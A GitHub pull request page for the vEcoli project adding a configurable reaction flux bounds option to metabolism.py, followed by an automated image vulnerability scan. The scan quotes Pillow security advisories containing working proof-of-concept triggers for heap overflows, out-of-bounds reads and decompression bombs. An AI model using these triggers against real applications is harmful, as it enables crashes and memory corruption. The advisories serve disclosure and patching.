Skip to content

Make configurable change to define reaction flux bounds in metabolism.py#438

Open
heenasaqib wants to merge 3 commits into
masterfrom
adjust-rxn-flux-bounds
Open

Make configurable change to define reaction flux bounds in metabolism.py#438
heenasaqib wants to merge 3 commits into
masterfrom
adjust-rxn-flux-bounds

Conversation

@heenasaqib

@heenasaqib heenasaqib commented Jul 22, 2026

Copy link
Copy Markdown
Contributor

This pull request introduces a new feature to the Metabolism process, allowing users to set custom flux bounds for specific reactions via configuration. This makes it easier to test metabolic reaction constraints directly from the config.

Configuration and reaction bound setting:

  • Added a new set_reaction_bounds field to the Metabolism process configuration, enabling users to specify custom lower and upper bounds for reaction fluxes (ecoli/processes/metabolism.py).
  • Please configure reaction bounds in the form of {REACTION_ID: [lb, ub]}. i.e. a dictionary of fba reaction ids as keys and items being a size 2 array of lower and upper bound.

Example config option

"process_configs": {
        "ecoli-metabolism": {
            "set_reaction_bounds": {
                "REACTION_ID": [LOWER_BOUND, UPPER_BOUND]
            }
        }
    }

Copilot AI review requested due to automatic review settings July 22, 2026 21:27
@cursor

cursor Bot commented Jul 22, 2026

Copy link
Copy Markdown

Bugbot is not enabled for your account, so this pull request was not reviewed.

Enable Bugbot in the Cursor dashboard to get automatic reviews on future PRs.

@heenasaqib
heenasaqib requested a review from Robotato July 22, 2026 21:27
@heenasaqib heenasaqib added the long ci PR nearly ready to merge so run longer CI tests label Jul 22, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds a configuration hook to the Metabolism process so simulations/tests can override specific FBA reaction flux bounds from the process config, enabling targeted constraint experiments without modifying code.

Changes:

  • Added a new set_reaction_bounds config field in Metabolism.PARAMETERS.
  • Applied config-provided reaction flux bounds during Metabolism.next_update() by calling fba.setReactionFluxBounds(...).

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread ecoli/processes/metabolism.py Outdated
"linked_metabolites": None,
"aa_exchange_names": [],
"removed_aa_uptake": [],
"set_reaction_bounds": {}, # In form: {RXN_ID:[lb,ub]}
Comment thread ecoli/processes/metabolism.py
Comment thread ecoli/processes/metabolism.py
@github-actions

github-actions Bot commented Jul 22, 2026

Copy link
Copy Markdown
Contributor

🔍 Vulnerabilities of vecoli:latest

📦 Image Reference vecoli:latest
digestsha256:62998ad36772672e64adc54b007f61ce71ce0aa83797c00b9f849d0ce8f8361d
vulnerabilitiescritical: 0 high: 23 medium: 28 low: 0
platformlinux/amd64
size975 MB
packages904
📦 Base Image debian:13-slim
also known as
  • 13.4-slim
  • trixie-20260505-slim
  • trixie-slim
digestsha256:486b1c3d3a6a836d2518d5ac1a7b522050a034ae83b47c063fd45d550b2b9dbf
vulnerabilitiescritical: 1 high: 7 medium: 8 low: 15 unspecified: 4
critical: 0 high: 10 medium: 3 low: 0 pillow 12.2.0 (pypi)

pkg:pypi/pillow@12.2.0

high 8.7: CVE--2026--59204 Allocation of Resources Without Limits or Throttling

Affected range>=8.2.0
<12.3.0
Fixed version12.3.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.398%
EPSS Percentile32nd percentile
Description

Summary

src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.

Details

  • Location: src/libImaging/Jpeg2KDecode.c:853
  • Root cause: total_component_width is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles.
  • Dangerous operation: tile_bytes is promoted into tile_info.data_size, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876.
  • Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.

PoC

The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip

Generate the testcase:

pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
  --size 3664 --tile 1832

Expected geometry from the helper:

  • image size: 3664 x 3664
  • mode: RGBA
  • tile size: 1832 x 1832 (2x2 tiles)
  • image_bytes=53699584
  • uncapped RSS observed:
    • vulnerable build: maxrss_kb=180264
    • fixed comparison build: maxrss_kb=138404

Load it with the current vulnerable build:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2

Load it again under a 160 MB address-space cap:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160

Impact

Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

high 8.3: CVE--2026--54058 Out-of-bounds Read

Affected range<12.3.0
Fixed version12.3.0
CVSS Score8.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.384%
EPSS Percentile31st percentile
Description

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.

# src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.

# src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */

Chain Summary

SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)

Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.

Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

high 8.2: CVE--2026--59197 Integer Overflow or Wraparound

Affected range<12.3.0
Fixed version12.3.0
CVSS Score8.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
EPSS Score0.397%
EPSS Percentile32nd percentile
Description

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.

This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already
called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

high 7.5: CVE--2026--59205 Out-of-bounds Write

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.390%
EPSS Percentile31st percentile
Description

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@<!-- -->entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.

Suggested fix

Validate modes before calling into the native transform:

def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().

high 7.5: CVE--2026--59200 Uncontrolled Resource Consumption

Affected range>=5.1.0
<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.350%
EPSS Percentile27th percentile
Description

Summary

PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details

PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():

# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path:

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here

PoC

import zlib, tempfile, os, time
from PIL import PdfParser

# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12):

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

PDF file size Memory allocated Ratio Wall time
10 KB 10 MB 1,026× 0.024 s
95 KB 100 MB 1,028× 0.265 s
475 KB 500 MB 1,028× 1.279 s
950 KB 1,000 MB (1 GB) 1,028× 2.668 s

Impact

This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap

def decode(self) -> bytes:
    ...
    if filter == b"FlateDecode":
        ...
        result = zlib.decompress(self.buf, bufsize=int(expected_length))
        if len(result) > MAX_DECOMPRESS_BYTES:
            msg = "Decompressed stream exceeds maximum allowed size"
            raise ValueError(msg)
        return result

high 7.5: CVE--2026--59199 Integer Overflow or Wraparound

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.390%
EPSS Percentile31st percentile
Description

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.

Minimal public API trigger:

from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:

self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():

int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:

xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:

dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.

Two other documented APIs reach the same sink:

# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.

#!/usr/bin/env python3
import argparse
import sys

from PIL import Image


INT_MIN = -(1 << 31)


def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()


if __name__ == "__main__":
    main()

Run against an ASAN build:

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
